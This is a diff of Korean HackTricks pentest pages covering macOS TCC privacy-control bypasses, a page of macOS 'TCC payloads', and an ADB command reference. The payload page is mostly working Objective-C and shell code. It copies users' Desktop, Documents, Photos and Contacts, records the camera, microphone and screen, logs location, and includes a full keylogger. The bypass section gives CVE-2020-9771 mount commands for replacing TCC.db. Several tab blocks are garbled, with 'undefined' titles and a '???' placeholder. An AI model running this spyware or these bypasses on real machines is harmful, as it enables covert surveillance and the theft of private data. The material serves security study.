환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하십시오. **사용자 정의 plist**를 만들어 이 라이브러리를 삽입하고 \*\*`launchctl`\*\*를 사용하여 이를 실행하는 방법을 사용했습니다:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -393,15 +409,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
```bash
|
||||
launchctl load com.telegram.launcher.plist
|
||||
```
|
||||
|
||||
## 열린 호출을 통해
|
||||
|
||||
샌드박스 환경에서도 **`open`**을 호출할 수 있습니다.
|
||||
샌드박스 환경에서도 \*\*`open`\*\*을 호출할 수 있습니다.
|
||||
|
||||
### 터미널 스크립트
|
||||
|
||||
기술 인원이 사용하는 컴퓨터에서는 터미널에게 **전체 디스크 액세스 (FDA)**를 부여하는 것이 일반적입니다. 그리고 **`.terminal`** 스크립트를 호출하는 것이 가능합니다.
|
||||
기술 인원이 사용하는 컴퓨터에서는 터미널에게 \*\*전체 디스크 액세스 (FDA)\*\*를 부여하는 것이 일반적입니다. 그리고 **`.terminal`** 스크립트를 호출하는 것이 가능합니다.
|
||||
|
||||
**`.terminal`** 스크립트는 다음과 같은 명령을 **`CommandString`** 키에서 실행하는 이러한 plist 파일입니다:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -419,7 +437,9 @@ launchctl load com.telegram.launcher.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
어플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같이 실행할 수 있습니다:
|
||||
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -430,6 +450,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
|||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
|
||||
## 마운트를 통해
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC 우회 및 권한 상승
|
||||
|
@ -476,6 +497,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
|||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```python
|
||||
# This was the python function to create the dmg
|
||||
def create_dmg():
|
||||
|
@ -486,15 +508,16 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
|||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
|
||||
**원본 설명**에서 **전체 악용**을 확인하세요.
|
||||
|
||||
### asr
|
||||
|
||||
도구 **`/usr/sbin/asr`**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 장착할 수 있었습니다.
|
||||
도구 \*\*`/usr/sbin/asr`\*\*는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 장착할 수 있었습니다.
|
||||
|
||||
### 위치 서비스
|
||||
|
||||
**`/var/db/locationd/clients.plist`**에는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타내는** 세 번째 TCC 데이터베이스가 있습니다.\
|
||||
\*\*`/var/db/locationd/clients.plist`\*\*에는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타내는** 세 번째 TCC 데이터베이스가 있습니다.\
|
||||
폴더 **`/var/db/locationd/`는 DMG 장착으로부터 보호되지 않았기 때문에** 우리 자신의 plist를 장착할 수 있었습니다.
|
||||
|
||||
## 시작 프로그램에 의해
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS TCC 페이로드
|
||||
# macOS TCC Payloads
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
@ -22,6 +22,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
{% tabs %}
|
||||
{% tab title="Objective-C" %}
|
||||
`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -57,6 +58,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="쉘" %}
|
||||
`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -69,8 +71,11 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
{% tab title="undefined" %}
|
||||
`$HOME/Documents`를 `/tmp/documents`로 복사합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -102,8 +107,11 @@ NSLog(@"Copy completed successfully.", error);
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/`Documents를 `/tmp/documents`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -116,8 +124,11 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
{% tab title="undefined" %}
|
||||
`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -149,8 +160,11 @@ NSLog(@"Copy completed successfully.", error);
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
|
@ -163,8 +177,11 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
|||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
{% tab title="undefined" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -196,8 +213,11 @@ NSLog(@"Copy completed successfully.", error);
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -212,6 +232,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Library/Application Support/AddressBook`을 `/tmp/contacts`로 복사합니다.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -247,6 +268,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="쉘" %}
|
||||
`$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -261,6 +283,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -296,12 +319,13 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="쉘" %}
|
||||
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - 녹화" %}
|
||||
3초 동영상을 녹화하고 **`/tmp/recording.mov`**에 저장합니다.
|
||||
|
||||
3초 동영상을 녹화하고 \*\*`/tmp/recording.mov`\*\*에 저장합니다.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -377,14 +401,11 @@ VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - 확인" %}
|
||||
카메라에 대한 프로그램의 접근 권한을 확인합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Swift - Check" %}
|
||||
Check if the program has access to the camera.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -414,11 +435,9 @@ freopen("/tmp/logs.txt", "a", stderr);
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="쉘" %}
|
||||
카메라로 사진을 찍습니다.
|
||||
{% endtab %}
|
||||
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
|
@ -433,6 +452,7 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC - 녹음" %}
|
||||
5초 동안 오디오를 녹음하고 `/tmp/recording.m4a`에 저장합니다.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -532,8 +552,10 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - 확인" %}
|
||||
앱이 마이크에 접근할 수 있는지 확인합니다.
|
||||
앱이 마이크에 접근할 수 있는지 확인합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -561,8 +583,11 @@ static void telegram(int argc, const char **argv) {
|
|||
[MicrophoneAccessChecker hasMicrophoneAccess];
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
5초 동안 오디오를 녹음하고 `/tmp/recording.wav`에 저장합니다.
|
||||
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -584,6 +609,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
`/tmp/logs.txt`에 위치 정보를 기록하세요.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -635,12 +661,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% tab title="쉘" %}
|
||||
위치에 액세스하기
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
{% tab title="undefined" %}
|
||||
주요 화면을 5초 동안 `/tmp/screen.mov`에 녹화합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -694,20 +728,32 @@ CFRunLoopRun();
|
|||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
주요 화면을 5초 동안 녹화합니다.
|
||||
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{% endtab %}
|
||||
|
||||
### 접근성
|
||||
{% tab title="undefined" %}
|
||||
#### 접근성
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
* **권한**: 없음
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
TCC 권한을 사용하여 Finder의 엔터 키를 눌러 제어를 받고, 이를 통해 TCC를 우회합니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -758,8 +804,11 @@ usleep(100000); // 0.1 seconds
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Keylogger" %}
|
||||
눌린 키를 **`/tmp/keystrokes.txt`**에 저장합니다.
|
||||
눌린 키를 \*\*`/tmp/keystrokes.txt`\*\*에 저장합니다.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -879,7 +928,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# ADB Commands
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
@ -7,13 +9,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Adb는 일반적으로 다음 위치에 있습니다:**
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
@ -21,13 +23,14 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
|
||||
**정보 획득처:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
# 연결
|
||||
## 연결
|
||||
|
||||
ADB(Android Debug Bridge)는 안드로이드 기기와 컴퓨터 간의 연결을 제공하는 도구입니다. ADB를 사용하여 안드로이드 기기에 명령을 전송하고 기기에서 정보를 가져올 수 있습니다.
|
||||
|
||||
## USB 연결
|
||||
### USB 연결
|
||||
|
||||
1. 안드로이드 기기를 컴퓨터에 USB 케이블로 연결합니다.
|
||||
2. 안드로이드 기기에서 개발자 옵션을 활성화합니다. 이를 위해 기기 설정에서 "빌드 번호"를 7번 클릭합니다.
|
||||
|
@ -40,7 +43,7 @@ adb devices
|
|||
|
||||
5. 연결된 기기의 목록이 표시됩니다.
|
||||
|
||||
## Wi-Fi 연결
|
||||
### Wi-Fi 연결
|
||||
|
||||
1. 안드로이드 기기를 USB로 컴퓨터에 연결합니다.
|
||||
2. 컴퓨터에서 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행합니다.
|
||||
|
@ -59,39 +62,48 @@ adb connect <device-ip>:5555
|
|||
|
||||
6. 연결된 기기의 목록이 표시됩니다.
|
||||
|
||||
## 연결 해제
|
||||
### 연결 해제
|
||||
|
||||
```bash
|
||||
adb disconnect
|
||||
```
|
||||
|
||||
## 연결 상태 확인
|
||||
### 연결 상태 확인
|
||||
|
||||
```bash
|
||||
adb devices
|
||||
```
|
||||
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
|
||||
다음은 연결된 장치 목록을 표시합니다. "_**unathorised**_"가 나타나면 모바일을 **해제**하고 연결을 **수락**해야 합니다.
|
||||
|
||||
이는 장치에 5555 포트에서 adb 서버를 시작하도록 지시합니다.
|
||||
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
|
||||
해당 IP와 포트에 연결하세요:
|
||||
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
|
||||
가상 Android 소프트웨어 (예: Genymotion)에서 다음과 같은 오류가 발생하는 경우:
|
||||
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
|
||||
이는 다른 버전의 ADB 서버에 연결하려고 하기 때문입니다. 소프트웨어가 사용하는 adb 바이너리를 찾아보세요 (`C:\Program Files\Genymobile\Genymotion`으로 이동하여 adb.exe를 검색하세요).
|
||||
|
||||
## 여러 기기
|
||||
### 여러 기기
|
||||
|
||||
**여러 기기가 컴퓨터에 연결**되어 있는 경우 adb 명령을 실행할 기기를 **지정해야 합니다**.
|
||||
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -104,18 +116,22 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## 포트 터널링
|
||||
|
||||
### 포트 터널링
|
||||
|
||||
만약 안드로이드 장치에서 **adb 포트**가 **로컬호스트**에서만 **접근 가능**하지만 **SSH를 통해 액세스할 수 있다면**, 포트 5555를 **포워딩**하여 adb를 통해 연결할 수 있습니다:
|
||||
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
```
|
||||
# 패키지 관리자
|
||||
|
||||
## 설치/제거
|
||||
## 패키지 관리자
|
||||
|
||||
### 설치/제거
|
||||
|
||||
#### adb install \[옵션] <경로>
|
||||
|
||||
### adb install \[옵션] \<경로>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
|
@ -131,29 +147,35 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb uninstall \[옵션] \<패키지>
|
||||
|
||||
#### adb uninstall \[옵션] <패키지>
|
||||
|
||||
adb uninstall 명령은 Android 디바이스에서 특정 앱을 제거하는 데 사용됩니다.
|
||||
|
||||
#### 옵션:
|
||||
- -k: 앱 데이터와 캐시를 유지한 채로 앱을 제거합니다.
|
||||
**옵션:**
|
||||
|
||||
* \-k: 앱 데이터와 캐시를 유지한 채로 앱을 제거합니다.
|
||||
|
||||
**사용법:**
|
||||
|
||||
#### 사용법:
|
||||
```
|
||||
adb uninstall com.example.app
|
||||
```
|
||||
|
||||
이 명령은 com.example.app이라는 패키지 이름을 가진 앱을 디바이스에서 제거합니다.
|
||||
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||
```
|
||||
## 패키지
|
||||
|
||||
### 패키지
|
||||
|
||||
모든 패키지를 출력하며, 선택적으로 패키지 이름에 \<FILTER> 텍스트가 포함된 패키지만 출력합니다.
|
||||
|
||||
### adb shell pm list packages \[옵션] \<FILTER-STR>
|
||||
#### adb shell pm list packages \[옵션] \<FILTER-STR>
|
||||
|
||||
```bash
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
|
||||
|
@ -173,43 +195,55 @@ adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
|||
|
||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||
```
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
#### adb shell pm path \<PACKAGE>
|
||||
|
||||
주어진 \<PACKAGE>의 APK 경로를 출력합니다.
|
||||
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
### adb shell pm clear \<PACKAGE>
|
||||
|
||||
#### adb shell pm clear \<PACKAGE>
|
||||
|
||||
패키지와 관련된 모든 데이터를 삭제합니다.
|
||||
|
||||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# 파일 관리자
|
||||
|
||||
### adb pull \<remote> \[local]
|
||||
## 파일 관리자
|
||||
|
||||
#### adb pull \<remote> \[local]
|
||||
|
||||
에뮬레이터/장치에서 지정된 파일을 컴퓨터로 다운로드합니다.
|
||||
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<로컬> \<원격>
|
||||
|
||||
#### adb push <로컬> <원격>
|
||||
|
||||
컴퓨터에서 지정된 파일을 에뮬레이터/장치로 업로드합니다.
|
||||
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# 스크린캡처/스크린레코드
|
||||
|
||||
### adb shell screencap \<파일명>
|
||||
## 스크린캡처/스크린레코드
|
||||
|
||||
#### adb shell screencap <파일명>
|
||||
|
||||
기기 화면의 스크린샷을 찍습니다.
|
||||
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[옵션] \<파일명>
|
||||
|
||||
#### adb shell screenrecord \[옵션] <파일명>
|
||||
|
||||
Android 4.4 (API 레벨 19) 이상을 실행하는 기기의 화면 녹화.
|
||||
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -218,27 +252,33 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
|
||||
(press Ctrl-C to stop recording)
|
||||
|
||||
**_**adb pull**_**을 사용하여 파일(이미지 및 비디오)을 다운로드할 수 있습니다.
|
||||
**\_**adb pull**\_**을 사용하여 파일(이미지 및 비디오)을 다운로드할 수 있습니다.
|
||||
|
||||
# 쉘
|
||||
## 쉘
|
||||
|
||||
### adb shell
|
||||
#### adb shell
|
||||
|
||||
장치 내부에서 쉘을 얻습니다.
|
||||
|
||||
```bash
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
#### adb shell \<CMD>
|
||||
|
||||
디바이스 내에서 명령어를 실행합니다.
|
||||
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
### pm
|
||||
|
||||
다음 명령은 셸 내에서 실행됩니다.
|
||||
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
|
@ -247,67 +287,83 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
|||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# 프로세스
|
||||
|
||||
## 프로세스
|
||||
|
||||
애플리케이션의 프로세스 ID(PID)를 얻고 싶다면 다음을 실행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
|
||||
그리고 앱을 검색하세요.
|
||||
|
||||
또는 다음을 수행할 수 있습니다.
|
||||
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
|
||||
그리고 애플리케이션의 PID를 출력합니다.
|
||||
|
||||
# 시스템
|
||||
## 시스템
|
||||
|
||||
```bash
|
||||
adb root
|
||||
```
|
||||
|
||||
adbd 데몬을 루트 권한으로 다시 시작합니다. 그런 다음 ADB 서버에 다시 연결해야 합니다. 그러면 루트 권한을 얻을 수 있습니다 (사용 가능한 경우).
|
||||
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
# 로그
|
||||
|
||||
## 로그캣
|
||||
## 로그
|
||||
|
||||
### 로그캣
|
||||
|
||||
**한 애플리케이션의 메시지만 필터링**하려면 애플리케이션의 PID를 얻고 logcat의 출력을 필터링하기 위해 grep (linux/macos) 또는 findstr (windows)를 사용하십시오.
|
||||
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[옵션] \[필터-사양]
|
||||
|
||||
#### adb logcat \[옵션] \[필터-사양]
|
||||
|
||||
adb logcat 명령은 Android 디바이스의 로그를 캡처하고 출력하는 데 사용됩니다. 이 명령은 앱의 디버깅, 오류 분석 및 성능 모니터링에 유용합니다.
|
||||
|
||||
#### 옵션:
|
||||
- -d: 현재 로그를 캡처하고 출력한 후 종료합니다.
|
||||
- -f \<file>: 로그를 지정된 파일에 기록합니다.
|
||||
- -r \<kbytes>: 로그를 지정된 크기로 롤링합니다.
|
||||
- -n \<count>: 롤링되는 로그 파일의 최대 개수를 지정합니다.
|
||||
- -v \<format>: 출력 형식을 지정합니다. (brief, process, tag, thread, raw, time, threadtime, long)
|
||||
- -s \<filter>: 지정된 필터로 로그를 제한합니다.
|
||||
- -e \<regex>: 지정된 정규식과 일치하는 로그만 출력합니다.
|
||||
- -i: 로그를 무시합니다.
|
||||
- -c: 현재 로그를 지웁니다.
|
||||
- -t \<count>: 최근 로그 항목의 개수를 지정합니다.
|
||||
- -T \<count>: 최근 로그 항목의 시간 범위를 지정합니다.
|
||||
- -g: 로그 버퍼 크기를 출력합니다.
|
||||
- -b \<buffer>: 지정된 로그 버퍼를 사용합니다. (main, system, radio, events, crash, default)
|
||||
**옵션:**
|
||||
|
||||
* \-d: 현재 로그를 캡처하고 출력한 후 종료합니다.
|
||||
* \-f \<file>: 로그를 지정된 파일에 기록합니다.
|
||||
* \-r \<kbytes>: 로그를 지정된 크기로 롤링합니다.
|
||||
